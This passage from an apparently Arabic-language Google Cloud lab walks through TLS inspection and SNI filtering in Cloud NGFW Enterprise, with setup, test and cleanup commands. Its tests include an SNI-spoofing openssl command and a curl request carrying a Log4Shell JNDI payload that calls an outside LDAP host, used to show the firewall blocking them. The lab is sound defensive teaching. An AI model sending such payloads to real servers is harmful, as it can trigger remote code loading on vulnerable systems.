MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

وهنا يأتي دور فحص طبقة النقل الآمنة للمساعدة في سدّ هذه الثغرة.

إغلاق الاتصال والخروج من الجهاز الافتراضي:

"ctrl" + c
exit

18 [اختياري] فحص طبقة النقل الآمنة

إعداد موارد بروتوكول أمان طبقة النقل

هذا القسم اختياري لأنّ فلترة النطاقات أو إشارات اسم الخادم (SNI) تعمل بدون الحاجة إلى فحص بروتوكول أمان طبقة النقل (TLS). ومع ذلك، قد تحتاج إلى فحص بروتوكول أمان طبقة النقل (TLS) إذا كنت تخطط لاستخدام ميزة "منع التهديدات"، أو في المستقبل عندما تتوفّر ميزة فلترة عناوين URL الكاملة، لتتمكّن من إنشاء قواعد مستندة إلى المسار في ملف الأمان.

بالإضافة إلى ذلك، يوفّر فحص بروتوكول أمان طبقة النقل طبقة إضافية من عمليات التحقّق لأنّ انتحال هوية SNI هو احتمال وارد.

إنشاء مجموعة هيئات إصدار شهادات سيتم استخدام هذا المرجع لتخزين شهادة CA الجذر التي ننشئها لـ NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

أنشئ مرجع تصديق الجذر. هذه هي شهادة CA التي سيتم استخدامها لتوقيع شهادات إضافية للطلبات من خلال NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

إذا ظهرت لك الرسالة أدناه، أجب بـ y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

أنشئ حساب خدمة. سيتم استخدام حساب الخدمة هذا لطلب شهادات NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

اضبط أذونات إدارة الهوية وإمكانية الوصول لحساب الخدمة:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

أنشئ ملف YAML الخاص بسياسة TLS. سيتضمّن هذا الملف معلومات حول المراجع المحدّدة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

استورِد سياسة فحص طبقة النقل الآمنة:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

عدِّل ربط نقطة النهاية لتفعيل بروتوكول أمان طبقة النقل (TLS):

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

احصل على شهادة CA وأضِفها إلى متجر CA الخاص بالعميل. هذا الإجراء مطلوب لضمان الثقة، لأنّ NGFW Enterprise سيُنشئ بروتوكول أمان طبقة النقل (TLS) ويقدّم الشهادة الموقَّعة من مجموعة هيئات إصدار الشهادات (CA):

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

انقل شهادة CA إلى العميل:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

يمكنك الوصول إلى الجهاز الافتراضي (VM) عبر بروتوكول النقل الآمن (SSH)، ونقل شهادة CA إلى /usr/local/share/ca-certificates وتعديل مخزن CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

اخرج من الجهاز الافتراضي وواصِل العمل على Cloud Shell.

تعديل قاعدة جدار الحماية لفحص بروتوكول أمان طبقة النقل

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

التحقّق من صحة القواعد باستخدام فحص بروتوكول أمان طبقة النقل

ابدأ اتصالاً من خلال بروتوكول النقل الآمن (SSH) بالجهاز الافتراضي من خلال خدمة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" (IAP):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

أرسِل نماذج الطلبات إلى الوجهات المسموح بها:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

من المفترض أن يتم اجتياز هذه الاختبارات بدون أي مشاكل. إذا أردنا مراجعة الشهادة وتأكيد ما إذا كانت الشهادة موقّعة من NGFW أم لا، يمكننا تنفيذ الأمر التالي:

curl https://ifconfig.me --max-time 2 -vv

الناتج المتوقّع:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

في الناتج أعلاه، يمكننا أن نرى أنّ NGFW Enterprise تفحص الطلب باستخدام بروتوكول أمان طبقة النقل (TLS) لأنّ الشهادة المستلَمة موقَّعة من مرجع الشهادات الجذر الذي أنشأناه سابقًا. (حقل الجهة المُصدرة)

التحقّق من صحة القواعد التي تحاول انتحال إشارات اسم الخادم (SNI) باستخدام فحص بروتوكول أمان طبقة النقل (TLS)

لننتحقق الآن من السلوك بعد تفعيل فحص بروتوكول أمان طبقة النقل (TLS).

نفِّذ أمر openssl التالي لتزييف SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

الناتج المتوقّع:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

في الناتج أعلاه، نرى أنّ طلبًا كان يعمل سابقًا لخداع SNI يتعذّر الآن تنفيذه عند تفعيل فحص طبقة النقل الآمنة. ويرجع ذلك إلى أنّه عند تفعيل فحص طبقة النقل الآمنة، يتحقّق الجدار الناري من الجيل التالي من مؤشر اسم الخادم (SNI) مقابل الاسم البديل للموضوع (SAN) لشهادة الخادم. وفي حال عدم التطابق، سيتعذّر إكمال عملية المصافحة عبر TLS.

التحقّق من صحة النطاق/إشارة اسم الخادم (SNI) ومنع التهديدات باستخدام فحص بروتوكول أمان طبقة النقل (TLS)

سنعيد الآن إجراء الاختبار السابق لطلب ضار (log4j) إلى نطاق مسموح به.

أرسِل العيّنة الضارة (log4j) إلى نطاق/وجهة SNI مسموح بها:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

الناتج المتوقّع:

000

رمز الاستجابة 000 هذا ناتج عن إنهاء الاتصال بواسطة NGFW بسبب رصد تهديد. يمكننا جمع المزيد من النتائج التفصيلية لتأكيد ذلك.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

الناتج المتوقّع:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

من الأعلى، نرى أنّ جدار الحماية من الجيل التالي (NGFW) نفّذ عملية فحص لبروتوكول أمان طبقة النقل (TLS) وحظر الطلب الضار.

اخرج من الجهاز الظاهري باتّباع الخطوات التالية:

exit

انتقِل إلى القسم التالي للاطّلاع على خطوات التنظيف.

19. خطوات إعادة الضبط

تنظيف عملية الإعداد الأساسية

إزالة المثيلات:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

إزالة سياسة شبكة Cloud Firewall والربط:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

احذف Cloud Router وCloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

احذف عناوين IP المحجوزة:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

تنظيف مجموعات أمان المصادر (SPG) وعمليات الربط في Cloud Firewall

احذف مجموعة ملفات تعريف الأمان وملف تعريف فلترة التهديدات وعناوين URL بهذا الترتيب:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

احذف ربط نقطة نهاية Cloud Firewall باتّباع الخطوات التالية:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

احذف نقطة نهاية "جدار الحماية السحابي"، وقد يستغرق ذلك حوالي 20 دقيقة:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

يمكنك اختياريًا التأكّد من حذف نقطة نهاية Cloud NGFW من خلال تنفيذ الأمر أدناه:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

يجب أن تعرض حالة نقطة النهاية ما يلي:

STATE: DELETING

عند اكتمال العملية، لن يتم إدراج نقطة النهاية.

[اختياري] تنظيف بروتوكول أمان طبقة النقل (TLS)

إذا واصلت إعدادات فحص بروتوكول أمان طبقة النقل (TLS) الاختيارية، نفِّذ الأوامر أدناه لتنظيف موارد بروتوكول أمان طبقة النقل (TLS).

احذف سياسة TLS:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

إيقاف وحذف المرجع المصدق (CA) الجذر ومجموعة المراجع المصدقة (CA):

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

تنظيف الشبكة الفرعية وشبكة VPC

أخيرًا، احذف الشبكة الفرعية وشبكة السحابة الإلكترونية الافتراضية الخاصة (VPC):

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. الخاتمة والاعتبارات

هذا المختبر بسيط جدًا ولا يختبر إلا باستخدام جهاز افتراضي واحد يتصل بالإنترنت. في سيناريوهات العالم الحقيقي، يمكن أن تحتوي شبكة VPC على موارد متعددة، وحركة مرور في جميع الاتجاهات (شمال/جنوب وشرق/غرب). بما أنّ قاعدة جدار الحماية لفلترة النطاق/SNI هي EGRESS 0.0.0.0/0، فهي "تشمل الكل" ويجب ضبطها كقاعدة الأولوية الأدنى في سياسة الشبكة، وإلا ستتم مطابقة حركة البيانات بشكل غير متوقع وسيتم السماح بها أو رفضها استنادًا إلى قاعدة urlFiltering التلقائية.

بالإضافة إلى ذلك، ننصحك باستخدام أنواع الشبكات لحصر النطاق. وهذا لمنع مطابقة حركة المرور بين الشرق والغرب للقاعدة. يمكنك بدلاً من ذلك إنشاء قاعدة سماح ذات أولوية أعلى لحركة البيانات بين الشرق والغرب.

يُرجى مراجعة مستند أفضل الممارسات الذي يتناول فلترة النطاقات أو إشارات اسم الخادم (SNI) بتفصيل أكبر.

21. تهانينا!

تهانينا، لقد أكملت بنجاح عملية فلترة النطاقات أو إشارات اسم الخادم (SNI) في Cloud NGFW Enterprise مع فحص اختياري لبروتوكول أمان طبقة النقل (TLS).